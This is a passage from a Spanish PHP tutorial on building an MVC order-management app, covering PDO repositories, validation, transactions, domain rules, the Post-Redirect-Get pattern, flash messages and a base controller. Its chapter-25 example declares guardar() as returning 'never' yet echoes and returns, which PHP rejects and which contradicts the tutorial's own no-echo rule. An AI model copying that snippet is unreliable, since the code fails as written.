1 (empty)
Eco de la serie Kotlin: este diseño equivale a tus data class Pedido(val id: Int, val estado: EstadoPedido) con enums de Compose. Mismo canon — `Pedido`, `EstadoPedido` — para que el conocimiento viaje entre manuales sin traducción.

Puntos clave

  • Entidad = concepto de negocio + tipos ricos + reglas de consulta.
  • Enum con puedePasarA(): transiciones centralizadas, typos imposibles.
  • desdeFila() convierte primitivos a ricos EXACTAMENTE una vez.
  • readonly + final: inmutable y sin jerarquías sorpresa.

18 · El repositorio PDO

Intermedio ~16 min

Las entidades del capítulo anterior no saben de dónde vienen — y esa ignorancia es un lujo. Alguien tiene que hablar SQL: convertir filas en entidades y devolverlas. Ese alguien es el repositorio: la ÚNICA clase autorizada a mencionar tablas y consultas. Si mañana cambia la BD o nace una API remota, el resto del sistema ni se entera.

  • Definir el contrato PedidoRepositorio como interfaz.
  • Implementar PdoPedidoRepositorio con sentencias preparadas.
  • Entender por qué el constructor solo pide PDO (y qué gana el contenedor).

El contrato primero

<?php
// dominio/PedidoRepositorio.php
interface PedidoRepositorio
{
    /** @throws PedidoNoEncontrado si no existe */
    public function encontrar(int $id): Pedido;

    /** @return Pedido[] */
    public function todos(): array;

    /** @return Pedido[] */
    public function porEstado(EstadoPedido $estado): array;

    public function agregar(Pedido $p): int;   // devuelve el nuevo id

    /** Cambia estado persistido; valida transicion contra la entidad */
    public function cambiarEstado(int $id, EstadoPedido $nuevo): void;
}

Los controladores dependerán de ESTA interfaz, no de PDO. Es exactamente el hueco que dejó abierto el contenedor de fábricas del capítulo 12: registrar PedidoRepositorio::class => fn() => new PdoPedidoRepositorio($pdo).

La implementación completa

<?php
// infraestructura/PdoPedidoRepositorio.php
final class PdoPedidoRepositorio implements PedidoRepositorio
{
    public function __construct(private PDO $pdo) {}

    public function encontrar(int $id): Pedido
    {
        $st = $this->pdo->prepare(
            'SELECT * FROM pedidos WHERE id = :id'
        );
        $st->execute(['id' => $id]);
        $fila = $st->fetch(PDO::FETCH_ASSOC);

        if ($fila === false) {
            throw new PedidoNoEncontrado("Pedido $id no existe");
        }
        return Pedido::desdeFila($fila);
    }

    public function todos(): array
    {
        $filas = $this->pdo->
            query('SELECT * FROM pedidos ORDER BY creado DESC')->
            fetchAll(PDO::FETCH_ASSOC);
        return array_map(Pedido::desdeFila(...), $filas);
    }

    public function porEstado(EstadoPedido $estado): array
    {
        $st = $this->pdo->prepare(
            'SELECT * FROM pedidos WHERE estado = :e ORDER BY creado DESC'
        );
        $st->execute(['e' => $estado->value]);   // enum backendeado = string listo
        return array_map(Pedido::desdeFila(...), $st->fetchAll(PDO::FETCH_ASSOC));
    }

    public function agregar(Pedido $p): int
    {
        $st = $this->pdo->prepare(
            'INSERT INTO pedidos (cliente_id, total, estado, creado)
             VALUES (:c, :t, :e, :f)'
        );
        $st->execute([
            'c' => $p->clienteId,
            't' => $p->total,
            'e' => $p->estado->value,
            'f' => $p->creado->format('Y-m-d H:i:s'),
        ]);
        return (int) $this->pdo->lastInsertId();
    }

    public function cambiarEstado(int $id, EstadoPedido $nuevo): void
    {
        $actual = $this->encontrar($id);           // valida existencia...
        if (!$actual->estado->puedePasarA($nuevo)) { // ...y transicion
            throw new DominioException(
                "Pedido $id: {$actual->estado->value} no puede pasar a {$nuevo->value}"
            );
        }
        $st = $this->pdo->prepare(
            'UPDATE pedidos SET estado = :e WHERE id = :id'
        );
        $st->execute(['e' => $nuevo->value, 'id' => $id]);
    }
}

Tres decisiones que valen oro

  • Solo habla de entidades: recibe y devuelve objetos Pedido; los arreglos crudos jamás cruzan esta frontera hacia afuera.
  • cambiarEstado() consulta ANTES: cargar el pedido para validar la transición cuesta una lectura extra, pero garantiza que la regla del enum se aplique SIEMPRE — incluso desde código ajeno.
  • Excepciones con nombres de negocio: PedidoNoEncontrado y DominioException (cap. 11 las anticipó) son capturables con precisión quirúrgica.
# Prueba de humo sin servidor web: php -r "require 'vendor/autoload.php'; \$pdo = new PDO('pgsql:host=localhost dbname=tienda', 'tienda', 'secreto'); \$repo = new PdoPedidoRepositorio(\$pdo); print_r(\$repo->encontrar(17));"
Pedido Object ( [id] => 17 [clienteId] => 3 [total] => 540.0 [estado] => Enum EstadoPedido::REGISTRADO ... )
¿Y los detalles del pedido? Merecen su propio repositorio y su propia transacción — es el tema completo del capítulo 20. Aquí nos quedamos con la cabecera para aislar bien los conceptos.

Puntos clave

  • Interfaz primero: controladores dependen del CONTRATO, no de PDO.
  • Sentencias preparadas siempre — parámetro, nunca concatenación.
  • Enums backendeados pasan directo como strings de BD (->value).
  • El repo valida transiciones de estado: la regla vive junto al dato.

19 · Validación: la bolsa de errores

Intermedio ~15 min

Los formularios llegan llenos de buenas intenciones y datos rotos: clientes sin nombre, totales negativos, campos ausentes. La pregunta de arquitectura es ¿DÓNDE vive la validación? Respuesta corta: en una clase propia del lado del modelo — nunca regada por los controladores. Ya conoces la técnica (php_01, cap. 33); aquí la formalizamos como pieza MVC.

  • Construir ValidadorPedido con errores por campo.
  • Distinguir validación de FORMATO vs validación de NEGOCIO.
  • Devolver el formulario con errores Y valores previos intactos.

El validador

<?php
// aplicacion/ValidadorPedido.php
final readonly class ValidadorPedido
{
    /** @return array<string,string> campo => mensaje (vacio = todo OK) */
    public function validar(array $datos): array
    {
        $errores = [];

        $cliente = trim((string) ($datos['cliente'] ?? ''));
        if ($cliente === '') {
            $errores['cliente'] = 'Indique el nombre del cliente.';
        } elseif (mb_strlen($cliente) < 3) {
            $errores['cliente'] = 'Muy corto (minimo 3 letras).';
        }

        $items = $datos['items'] ?? [];
        if (!is_array($items) || count($items) === 0) {
            $errores['items'] = 'Agregue al menos un producto.';
        }

        // El total NO se valida aqui: no se CONFIA en el — se recalcula.
        // Eso es negocio y le toca al modelo (cap. 21).

        return $errores;
    }
}

La firma lo dice todo: entra el arreglo crudo de $_POST, sale un mapa campo→mensaje. Vacío significa «aprobado». Sin excepciones para flujo esperado — un dato malo NO es una anomalía, es el martes.

Formato vs negocio: dos capas distintas

PreguntaEjemploCapa responsable
¿Está bien ESCRITO?nombre no vacío, email sintácticoValidador (esta clase)
¿Tiene SENTIDO?total coincide con ítems; stock disponibleModelo/dominio (cap. 21)

Confundir las capas produce validadores que consultan BD (lentos, acoplados) o entidades que rechazan emails mal escritos (ruido). Cada cosa en su casa.

El controlador orquesta

<?php
public function guardar(): string
{
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        return vista('pedidos/nuevo', ['errores' => [], 'viejo' => []]);
    }

    $validador = new ValidadorPedido();
    $errores   = $validador->validar($_POST);

    if ($errores !== []) {
        http_response_code(422);                       // Unprocessable Content
        return vista('pedidos/nuevo', [
            'errores' => $errores,
            'viejo'   => $_POST,                       // rellenar el form
        ]);
    }

    // ... camino feliz: dominio + repositorio (caps. 20-21)
}
<?php // plantillas/pedidos/nuevo.php — el par errores+viejo pintandose ?>
<form method="post">
  <label>Cliente:
    <input name="cliente" value="<?= e($viejo['cliente'] ?? '') ?>">
  </label>
  <?php if (isset($errores['cliente'])): ?>
    <p class="error"><?= e($errores['cliente']) ?></p>
  <?php endif; ?>

  <button>Registrar pedido</button>
</form>
Código 422: decirle al cliente HTTP «tu envío es legible pero inválido» es cortesía profesional — APIs y herramientas de testing lo distinguen de un error 500. El usuario final ni lo ve; tu yo del futuro depurando, sí.

Prueba mecánica del validador

# El validador no necesita BD ni servidor: puro PHP php -r "require 'aplicacion/ValidadorPedido.php'; \$v = new ValidadorPedido(); print_r(\$v->validar(['cliente' => 'A', 'items' => []]));"
Array ( [cliente] => Muy corto (minimo 3 letras). [items] => Agregue al menos un producto. )

Esa independencia total del entorno es la razón de ser de clases así: se prueban en milisegundos, sin levantar nada.

Puntos clave

  • Errores por campo en un arreglo simple: 'campo' => mensaje.
  • Formato en el validador; sentido en el dominio. Nunca mezclados.
  • 422 + re-render con $errores y $viejo: UX digna.
  • Puro y aislado = testeable desde CLI sin BD ni servidor.

20 · Transacciones: pedido + detalle

Avanzado ~15 min

Un pedido real no es una fila: es una cabecera MÁS sus N líneas de detalle. Si el sistema inserta la cabecera y falla en la tercera línea, la BD queda con un pedido fantasma sin productos — un dato que nadie puede usar ni borrar con confianza. La solución clásica y correcta: transacciones, todo o nada.

  • Ejecutar beginTransaction / commit / rollBack correctamente.
  • Alojar la transacción en el repositorio, NO en el controlador.
  • Reconocer los casos donde rollBack no alcanza (DDL, commits implícitos).

El método transaccional

<?php
// infraestructura/PdoPedidoRepositorio.php (extension)
/** @param array<array{producto:string,cantidad:int,precio:float}> $detalles */
public function crearConDetalles(array $datos, array $detalles): int
{
    $this->pdo->beginTransaction();
    try {
        // 1) cabecera
        $st = $this->pdo->prepare(
            'INSERT INTO pedidos (cliente_id, total, estado, creado)
             VALUES (:c, :t, :e, NOW())'
        );
        $st->execute([
            'c' => $datos['cliente_id'],
            't' => $datos['total'],          // YA recalculado por el dominio
            'e' => EstadoPedido::REGISTRADO->value,
        ]);
        $pedidoId = (int) $this->pdo->lastInsertId();

        // 2) detalles — misma conexion, MISMA transaccion
        $stD = $this->pdo->prepare(
            'INSERT INTO pedido_detalles
             (pedido_id, producto, cantidad, precio)
             VALUES (:p, :pr, :q, :v)'
        );
        foreach ($detalles as $d) {
            $stD->execute([
                'p' => $pedidoId,
                'pr' => $d['producto'],
                'q'  => $d['cantidad'],
                'v'  => $d['precio'],
            ]);
        }

        $this->pdo->commit();               // todo bien: visible para todos
        return $pedidoId;
    } catch (Throwable $e) {
        $this->pdo->rollBack();             // cualquier fallo: como si nada
        throw $e;                           // ...pero avisa arriba
    }
}

La estructura mental: begin → intentos → commit; si algo lanza, rollBack → re-lanzar. El throw $e final es crucial: tragarse la excepción dejaría al controlador creyendo que todo salió bien.

¿Por qué aquí y no en el controlador?

  • Atomicidad = detalle de persistencia: quien decide cómo se guardan las filas es el repositorio. El controlador pide «crea este pedido con estos detalles» y no sabe (ni le importa) cuántas tablas se tocan.
  • Una sola conexión: begin/commit operan sobre EL PDO del repositorio. Mezclar conexiones rompe silenciosamente la transacción — otro motivo para que PDO viva encapsulado.
  • Reutilizable: importación masiva por CSV, API pública y el formulario web llamarán al mismo método atómico.

Demostración del rollBack

# Simular un fallo a proposito: producto NULL viola NOT NULL en el 3er item php -r " require 'infraestructura/PdoPedidoRepositorio.php'; \$repo = /* ... inicializacion con PDO real ... */; try { \$repo->crearConDetalles( ['cliente_id' => 3, 'total' => 30.0], [ ['producto'=>'Cafe', 'cantidad'=>1, 'precio'=>10.0], ['producto'=>'Te', 'cantidad'=>2, 'precio'=>10.0], ['producto'=>null, 'cantidad'=>3, 'precio'=>10.0], ] ); } catch (PDOException \$e) { echo 'FALLO esperado: ', \$e->getMessage(), PHP_EOL; } "
# Verificar que NO quedo cabecera huerfana: psql -d tienda -c "SELECT count(*) FROM pedidos WHERE cliente_id=3 AND total=30;"
count ------- 0
Casos donde rollBack NO te salva: en MySQL/MariaDB, cualquier sentencia DDL (DROP TABLE, ALTER) dentro de la transacción hace COMMIT automático e irreversible. Las transacciones protegen DML — datos — nunca cambios de esquema. Y ojo con código intermedio que cierre la conexión: sin conexión no hay qué deshacer.
Nivel siguiente: cuando dos cajeros venden la última unidad a la vez, la atomicidad basta para no corromper datos pero no evita la sobreventa. Eso lo resuelven bloqueos y niveles de aislamiento — territorio del manual SQL; aquí registramos el límite honesto de nuestra herramienta.

Puntos clave

  • begin → try → commit; catch → rollBack → re-throw.
  • La transacción pertenece al repositorio: el controlador ignora las tablas.
  • lastInsertId() conecta cabecera y detalles dentro de la txn.
  • DDL y commits implícitos escapan del alcance: DML sí, esquema no.

21 · Negocio vivo en el modelo

Avanzado ~16 min

Última pieza del modelo — y la que separa un CRUD de un sistema: las reglas del negocio. ¿Quién calcula el total? ¿Quién decide si un pedido puede anularse? Si la respuesta es «el controlador», cada formulario nuevo reinventa las reglas con variantes. Aquí las instalamos donde pertenecen: en el dominio, escritas una vez, imposibles de saltarse.

  • Mover el cálculo del total al dominio (adiós, total confiado del cliente).
  • Hacer cumplir transiciones de estado lanzando excepciones de dominio.
  • Ver el controlador reducido a orquestador puro.

El borrador que calcula su propio total

<?php
// dominio/PedidoBorrador.php — estado mutable ANTES de confirmar
final class PedidoBorrador
{
    /** @var array<array{producto:string,cantidad:int,precio:float}> */
    private array $items = [];

    public function __construct(private readonly int $clienteId) {}

    public function agregar(string $producto, int $cantidad, float $precio): void
    {
        if ($cantidad < 1 || $precio <= 0) {
            throw new DominioException('Cantidad o precio invalidos');
        }
        $this->items[] = compact('producto', 'cantidad', 'precio');
    }

    /** REGLA: el total SIEMPRE se recalcula desde los items. Jamas se recibe. */
    public function total(): float
    {
        $bruto = array_sum(array_map(
            fn (array $i) => $i['cantidad'] * $i['precio'],
            $this->items
        ));
        return round($bruto * ($bruto >= 500 ? 0.95 : 1.0), 2); // 5% sobre S/500
    }

    public function items(): array { return $this->items; }
    public function clienteId(): int { return $this->clienteId; }
}
<?php
// El intento clasico de fraude, ahora inutil:
// curl -d "total=0.01&items[0][producto]=Laptop..." /pedidos
// => el controlador IGNORA $_POST['total']; llama a $borrador->total().

Transiciones que se defienden solas

<?php
// dominio/Pedido.php (metodos agregados)
public function marcarPagado(): self          // devuelve NUEVO pedido (readonly)
{
    return $this->transicionarA(EstadoPedido::PAGADO);
}

public function anular(): self
{
    return $this->transicionarA(EstadoPedido::ANULADO);
}

private function transicionarA(EstadoPedido $nuevo): self
{
    if (!$this->estado->puedePasarA($nuevo)) {
        throw new DominioException(sprintf(
            'Pedido %d en estado %s no puede pasar a %s',
            $this->id, $this->estado->value, $nuevo->value
        ));
    }
    return new self(
        id: $this->id,
        clienteId: $this->clienteId,
        total: $this->total,
        estado: $nuevo,
        creado: $this->creado,
    );
}

El patrón es el mismo de tus data classes Kotlin: copy(estado = ...) validado. La entidad nunca se muta; produce una versión nueva tras comprobar la regla. Y como la validación vive EN la entidad, ni un script de mantenimiento mal escrito puede resucitar un pedido anulado.

El controlador, ya delgado

<?php
public function guardar(): string
{
    $errores = (new ValidadorPedido())->validar($_POST);
    if ($errores !== []) {
        http_response_code(422);
        return vista('pedidos/nuevo', ['errores' => $errores, 'viejo' => $_POST]);
    }

    $borrador = new PedidoBorrador(clienteId: (int) ($_POST['cliente_id'] ?? 0));
    foreach ($_POST['items'] ?? [] as $i) {
        $borrador->agregar((string)$i['producto'], (int)$i['cantidad'], (float)$i['precio']);
    }

    try {
        $id = $this->repo->crearConDetalles(
            ['cliente_id' => $borrador->clienteId(), 'total' => $borrador->total()],
            $borrador->items()
        );
    } catch (DominioException $e) {
        http_response_code(422);
        return vista('pedidos/nuevo', [
            'errores' => ['items' => $e->getMessage()],
            'viejo'   => $_POST,
        ]);
    }

    header('Location: /pedidos/' . $id);   // PRG formal llega en cap. 23
    exit;
}

Lee ese método: valida formato, arma el borrador, delega persistencia y redirige. Cero SQL, cero reglas de negocio, cero HTML. Cada capa hace UNA cosa.

ResponsabilidadDónde viveEjemplo
Formato de entradaValidadorPedido (cap. 19)nombre no vacío
Reglas del negocioEntidades + enum (caps. 17/21)total desde ítems, estados válidos
Persistencia atómicaRepositorio (cap. 20)cabecera+detalles
Flujo HTTPControlador422 vs redirect
Pintar datos listosVista + view model (Parte IV)e(), badges

Puntos clave

  • Borrador mutable → confirmación → entidad readonly: dos fases limpias.
  • El total se CALCULA, jamás se recibe del exterior.
  • transicionarA() devuelve nueva instancia tras validar regla.
  • Controlador delgado: si supera ~30 líneas, hay regla viviendo fuera de casa.

22 · Acciones con nombre

Intermedio ~15 min

El despacho del capítulo 12 ya ejecutaba ['PedidosControlador', 'ver'] — era hora de que esa clase existiera de verdad y con dignidad. Un controlador bien diseñado es un catálogo de acciones con nombre: un método por cada cosa que el usuario puede hacerle al recurso. Esta parte pule esa pieza hasta dejarla profesional.

  • Adoptar la convención un-recurso-un-controlador con verbos claros.
  • Mapear rutas HTTP a métodos sin ambigüedad.
  • Cumplir el contrato único: las acciones DEVUELVEN html o redirigen — jamás imprimen.

La tabla de rutas como índice del controlador

<?php
// config/rutas.php — cada entrada ES una accion
return [
    'GET' => [
        '/'                    => [InicioControlador::class, 'portada'],
        '/pedidos'             => [PedidosControlador::class, 'listar'],
        '/pedidos/nuevo'       => [PedidosControlador::class, 'nuevo'],
        '/pedidos/{id}'        => [PedidosControlador::class, 'ver'],
        '/pedidos/{id}/anular' => [PedidosControlador::class, 'anular'],
    ],
    'POST' => [
        '/pedidos' => [PedidosControlador::class, 'guardar'],
    ],
];
PeticiónAcciónResponsabilidad
GET /pedidoslistar()colección completa
GET /pedidos/17ver(int $id)un pedido
GET /pedidos/nuevonuevo()formulario vacío
POST /pedidosguardar()procesar envío
POST /pedidos/17/anularanular(int $id)cambiar estado

Fíjate en el detalle fino: nuevo (mostrar formulario) y guardar (procesarlo) son DOS acciones sobre la misma URL. Mezclarlas en un método gigante con if ($_SERVER['REQUEST_METHOD']) interno funciona… hasta que no. Dos métodos, dos intenciones, cero ifs de método.

El esqueleto completo

<?php
// controladores/PedidosControlador.php
final class PedidosControlador
{
    public function __construct(private PedidoRepositorio $repo) {}

    public function listar(): string
    {
        $vms = array_map(
            PedidoVista::desdeDominio(...),
            $this->repo->todos()
        );
        return vista('pedidos/listar', ['filas' => $vms, 'titulo' => 'Pedidos']);
    }

    public function ver(int $id): string    // {id} llega por reflexion, cap. 12
    {
        try {
            $vm = PedidoVista::desdeDominio($this->repo->encontrar($id));
        } catch (PedidoNoEncontrado) {
            return vista('errores/404', [], layout: null);
        }
        return vista('pedidos/ver', ['vm' => $vm]);
    }

    public function nuevo(): string
    {
        return vista('pedidos/nuevo', ['errores' => [], 'viejo' => []]);
    }

    public function guardar(): string   // cuerpo completo: caps. 19 y 21
    { /* valida, construye borrador, persiste, redirige */ }

    public function anular(int $id): never
    {
        $pedido = $this->repo->encontrar($id);
        $this->repo->cambiarEstado($id, EstadoPedido::ANULADO);
        header('Location: /pedidos/' . $id, response_code: 303);
        exit;
    }
}

El contrato de salida

  • Devuelve string: HTML listo para el front controller — quien decide enviarlo tal cual.
  • O redirige y termina: never documentando que el flujo corta ahí (cap. 23 justifica el porqué).
  • Jamás echo: una acción que imprime rompe el orden — cabeceras imposibles, layouts incapaces de envolver, tests ciegos.
# El mapa mental completo de una peticion GET /pedidos/17: # ruta '{id}' captura 17 -> reflexion llama ver(id: 17) # -> repo trae entidad -> VM prepara datos -> vista() captura # -> front controller hace echo del string final
Prueba de olfato: si una acción necesita más de tres niveles de indentación o supera ~30 líneas (cap. 21), casi seguro hay regla de negocio o SQL viviendo donde no debe. El controlador traduce HTTP ↔ aplicación; nada más.

Puntos clave

  • Un recurso → una clase; una intención → un método con verbo claro.
  • Formulario y su procesamiento: dos acciones distintas aunque comparten URL.
  • Contrato: devolver HTML o redirigir con exit. Nunca imprimir.
  • Parámetros de ruta llegan tipados vía reflexión — firma autodocumentada.

23 · POST · redirect · GET

Intermedio ~15 min

Escenario clásico de soporte técnico: «¡me registró el pedido DOS veces!». Nadie hizo doble clic — el usuario solo presionó F5 en la página de confirmación. El navegador reenvió el POST porque esa respuesta era LA del POST. El antídoto tiene tres pasos y nombre propio: patrón PRG — Post, Redirect, Get.

  • Reproducir el doble envío y entender su mecánica.
  • Implementar PRG con código 303 y salida inmediata.
  • Saber cuándo NO aplica (validación fallida vuelve con 422).

La autopsia del bug

# Lo que hace el navegador tras un POST sin PRG: curl -i -d "cliente=Cafe+Central" localhost:8000/pedidos
HTTP/1.1 200 OK <-- la confirmacion ES la respuesta del POST Content-Type: text/html; charset=UTF-8 <h1>Pedido #17 registrado</h1>

La barra de direcciones quedó apuntando a POST /pedidos. Cualquier recarga = mismo POST otra vez. La BD no tiene culpa; el flujo HTTP sí.

El patrón, aplicado

<?php
public function guardar(): string
{
    $errores = (new ValidadorPedido())->validar($_POST);
    if ($errores !== []) {
        http_response_code(422);                    // NO redirige:
        return vista('pedidos/nuevo', [             // el POST responde con errores
            'errores' => $errores,
            'viejo'   => $_POST,
        ]);
    }

    // ... persistencia atomica (cap. 20) ...

    header('Location: /pedidos/' . $id, response_code: 303);
    exit;                                           // NADA corre despues
}

Ahora el navegador recibe una orden, no una página:

curl -i -d "cliente=Cafe+Central" localhost:8000/pedidos
HTTP/1.1 303 See Other Location: /pedidos/17
# Y el navegador, obediente, hace un GET limpio: curl -s localhost:8000/pedidos/17 | head -2 # <h1>Pedido #17</h1>

La barra de direcciones ahora muestra /pedidos/17 — un GET. F5, recargar, compartir el link: todo seguro. El POST ya se consumió.

Los dos detalles que lo hacen correcto

  • Código 303: significa literalmente «ve a buscarlo con GET». El viejo 302 funciona por costumbre histórica de los navegadores, pero 303 es la semántica exacta para PRG tras POST.
  • exit inmediato: sin él, el resto de la acción — y del script — seguiría ejecutándose. Ya viste en cap. 13 que las cabeceras mandan antes que el cuerpo; aquí además cortamos lógica innecesaria. El tipo de retorno never (cap. 22) documenta esta salida.
Cuando la validación falla NO hay redirect: el 422 con los errores y valores previos (cap. 19) debe llegar como respuesta directa del POST. Redirigir ahí perdería los datos escritos — el usuario maldeciría el formulario. PRG es para el camino feliz; los errores responden donde nacieron.

Anular también viaja en PRG

<?php
// POST /pedidos/{id}/anular -> ver el pedido actualizado, no un eco
public function anular(int $id): never
{
    $this->repo->cambiarEstado($id, EstadoPedido::ANULADO);
    header('Location: /pedidos/' . $id, response_code: 303);
    exit;
}

Toda mutación — crear, actualizar, anular, borrar — termina igual: 303 + exit. Es una regla de casa tan fija como escapar con e().

Puntos clave

  • Respuesta directa al POST invita a duplicar con cada F5.
  • PRG: guardar → 303 Location → GET de confirmación. Recarga segura.
  • 303 + exit: semántica exacta y corte de flujo garantizado.
  • Errores de validación NO redirigen: 422 con datos previos en el sitio.

24 · Flash messages con sesión

Intermedio ~15 min

El PRG del capítulo anterior dejó una deuda: el usuario aterriza en /pedidos/17 tras el redirect y… ¿cómo sabe que su pedido se registró bien? La página se ve idéntica a si hubiera entrado por link. Necesitamos un mensaje que cruce la redirección y muera después de mostrarse UNA vez. Eso es un flash message, y vive en la sesión.

  • Implementar los helpers flash() y flashes().
  • Renderizarlos en el layout para que toda página los herede.
  • Asegurar su naturaleza efímera: aparecen una vez, jamás dos.

La mecánica: escribir hoy, leer mañana, borrar ya

<?php
// helpers_sesion.php — session_start() vive en index.php, UNA vez
function flash(string $tipo, string $mensaje): void
{
    $_SESSION['flash'][] = ['tipo' => $tipo, 'texto' => $mensaje];
}

/** Consume y OLVIDA los mensajes pendientes */
function flashes(): array
{
    $pendientes = $_SESSION['flash'] ?? [];
    unset($_SESSION['flash']);
    return $pendientes;
}

Tres tiempos, un solo mecanismo:

  1. Petición A (POST): la acción guarda el pedido y llama flash('success', '...') antes de redirigir. El mensaje viaja en $_SESSION.
  2. Petición B (GET /pedidos/17): el layout llama flashes(), pinta los banners y los borra en el mismo movimiento.
  3. Petición C (cualquier F5): no hay nada en sesión → cero banners. El fantasma del mensaje repetido, exorcizado.

El layout los pinta solito

<?php // plantillas/layouts/base.php — dentro de <body>
$clases = [
    'success' => 'alert-success',
    'danger'  => 'alert-danger',
    'warning' => 'alert-warning',
];
foreach (flashes() as $f):
    $clase = $clases[$f['tipo']] ?? 'alert-secondary'; ?>
  <div class="alert <?= $clase ?>"><?= e($f['texto']) ?></div>
<?php endforeach; ?>

<main><?= $contenido ?></main>

Doble beneficio de ubicarlo en el layout: TODAS las páginas heredan los banners, y ninguna acción vuelve a preocuparse de pintar mensajes — solo de emitirlos.

El flujo completo, cableado

<?php
// cap. 23 mejorado: el exit ahora va acompanado
public function guardar(): never
{
    // ... validacion + persistencia ...
    flash('success', "Pedido #$id registrado correctamente.");
    header('Location: /pedidos/' . $id, response_code: 303);
    exit;
}

public function anular(int $id): never
{
    $this->repo->cambiarEstado($id, EstadoPedido::ANULADO);
    flash('warning', "Pedido #$id anulado.");
    header('Location: /pedidos/' . $id, response_code: 303);
    exit;
}
# Demostracion con cookies de sesion: curl -s -c galleta.txt -d "cliente=Cafe+Central" localhost:8000/pedidos -i | grep Location curl -s -b galleta.txt localhost:8000/pedidos/17 | grep alert
Location: /pedidos/17 <div class="alert alert-success">Pedido #17 registrado correctamente.</div>
# Y al recargar... el banner ya no existe: curl -s -b galleta.txt localhost:8000/pedidos/17 | grep alert || echo "sin flashes"
sin flashes
Requisito previo: sin session_start() al inicio de index.php, $_SESSION es solo un arreglo huérfano que nadie persiste — el flash moriría en silencio. Una línea en el front controller, exactamente una.
¿Y sin cookies (clientes de API)? Los flashes son un patrón de NAVEGADOR. Las APIs devuelven el estado en el cuerpo JSON de la propia respuesta — no necesitan mensajería diferida. Otro motivo para mantener helpers como estos fuera del dominio.

Puntos clave

  • Flash = escribir en sesión + consumir con unset en la lectura siguiente.
  • El layout renderiza: herencia universal, acciones sin trabajo extra.
  • Nace con PRG, muere tras el primer render: nunca se duplica.
  • Tipos mapeados a clases visuales: success/danger/warning.

25 · El controlador base

Avanzado ~16 min

ClientesControlador ya nació copiando tres métodos de PedidosControlador: la resolución del repositorio, el re-render con errores, el PRG con flash. Cuando la copia es REAL y repetida — no especulativa — llega el momento de la clase base. Este capítulo extrae esa herencia con criterio, sin fabricar un monstruo prematuro.

  • Detectar duplicación genuina entre controladores.
  • Crear ControladorBase con los helpers compartidos.
  • Fijar el límite sano de lo que una base puede absorber.

El inventario honesto de repeticiones

<?php
// Esto aparece IDENTICO en 3 controladores:
$vms = array_map(PedidoVista::desdeDominio(...), $this->repo->todos());
return vista('pedidos/listar', ['filas' => $vms]);

http_response_code(422);
return vista('pedidos/nuevo', ['errores' => $errores, 'viejo' => $_POST]);

flash('success', "Pedido #$id registrado.");
header('Location: /pedidos/' . $id, response_code: 303);
exit;

Tres patrones, tres controladores: renderizar colección, re-render con errores, mutar-y-redirigir-con-flash. Eso no es especulación — es medición.

La base

<?php
// controladores/ControladorBase.php
abstract class ControladorBase
{
    /** Contenedor inyectado por reflexion (cap. 12) */
    public function __construct(protected Container $contenedor) {}

    /** Render con errores + valores previos (respuesta 422 tipica) */
    protected function renderConErrores(
        string $plantilla,
        array $errores,
        array $viejo = [],
    ): string {
        http_response_code(422);
        return vista($plantilla, ['errores' => $errores, 'viejo' => $viejo]);
    }

    /** PRG completo: mensaje + 303 + salida */
    protected function redirigir(string $url, string $tipo, string $mensaje): never
    {
        flash($tipo, $mensaje);
        header('Location: ' . $url, response_code: 303);
        exit;
    }

    /** Servicio resuelto perezosamente desde el contenedor */
    protected function servicio(string $clase): object
    {
        return ($this->contenedor->fabricas)[$clase]();
    }
}

El descendiente, adelgazado

<?php
final class PedidosControlador extends ControladorBase
{
    private PedidoRepositorio $repo;

    protected function repo(): PedidoRepositorio
    {
        return $this->repo ??= $this->servicio(PedidoRepositorio::class);
    }

    public function guardar(): never
    {
        $errores = (new ValidadorPedido())->validar($_POST);
        if ($errores !== []) {
            // antes: 3 lineas repetidas... ahora 1:
            echo $this->renderConErrores('pedidos/nuevo', $errores, $_POST);
            return;
        }
        // ... borrador + persistencia ...
        $this->redirigir("/pedidos/$id", 'success', "Pedido #$id registrado.");
    }

    public function anular(int $id): never
    {
        $this->repo()->cambiarEstado($id, EstadoPedido::ANULADO);
        $this->redirigir("/pedidos/$id", 'warning', "Pedido #$id anulado.");
    }
}
MovimientoVive en la baseEjemplo
Render con erroresrenderConErrores()422 + vista + viejo
PRG con mensajeredirigir()flash + 303 + exit
Serviciosservicio()repos on-demand
Lógica de pedidosNO — sigue en el hijoborrador, estados
El límite de la base: solo entra lo que DOS o MÁS controladores usan idéntico HOY. «Lo pondrá a usar UsuariosControlador algún día» es la puerta de entrada de las clases-zorro que todo lo saben y nada se puede cambiar. La base es un sótano de herramientas comunes — no un segundo cerebro.
Alternativas adultas: los frameworks modernos sustituyen esta herencia por traits o por servicios inyectados uno a uno en cada constructor. La Parte VIII te mostrará cómo Laravel resuelve exactamente este problema con su contenedor — nuestra base es la versión artesanal del mismo instinto.

Cierre de Parte VI

# El controlador final, en una linea por responsabilidad: listar() -> consulta repo, mapea VMs, devuelve HTML ver() -> encuentra o 404, devuelve HTML nuevo() -> formulario vacio guardar() -> valida (422 si falla) | persiste | flash + 303 anular() -> cambia estado | flash + 303

Puntos clave

  • Base SOLO tras duplicación real medida — nunca por anticipación.
  • renderConErrores() y redirigir(): los dos rituales HTTP centralizados.
  • La base guarda mecánica; el hijo conserva toda la semántica del recurso.
  • Si la base empieza a «conocer» recursos concretos, ya está enferma.

26 · Montaje del proyecto

Intermedio ~15 min

Veinticinco capítulos construyendo piezas sobre el escritorio. Hora del taller definitivo: la estructura real de carpetas donde TODO encaja, el arranque automático de clases y el archivo índice que ya no necesita crecer más. Al terminar este capítulo tendrás el esqueleto exacto que usarás los siguientes treinta años.

  • Fijar el árbol de directorios y qué vive en cada uno.
  • Cargar clases automáticamente sin require manuales.
  • Sellar index.php como front controller definitivo.

El árbol completo

tienda/
├── public/                  <-- UNICO directorio expuesto al mundo
│   ├── index.php            <-- front controller (cap. 12)
│   └── .htaccess            <-- rewrite (cap. 7)
├── config/
│   ├── rutas.php            <-- tabla de rutas (cap. 9)
│   └── config.php           <-- constantes + credenciales locales
├── src/
│   ├── dominio/             <-- entidades, enum, excepciones, interfaces
│   │   ├── Pedido.php       <-- cap. 17
│   │   └── ...
│   ├── infraestructura/     <-- PDO repos, implementaciones
│   ├── aplicacion/          <-- validadores, servicios de app
│   ├── controladores/       <-- ControladorBase + hijos
│   └── vistamodelos/        <-- PedidoVista y familia
├── plantillas/
│   ├── layouts/base.php     <-- cap. 14
│   ├── pedidos/*.php        <-- vistas por recurso
│   └── errores/404.php
└── helpers/                 <-- vista(), e(), flash(), flashes()

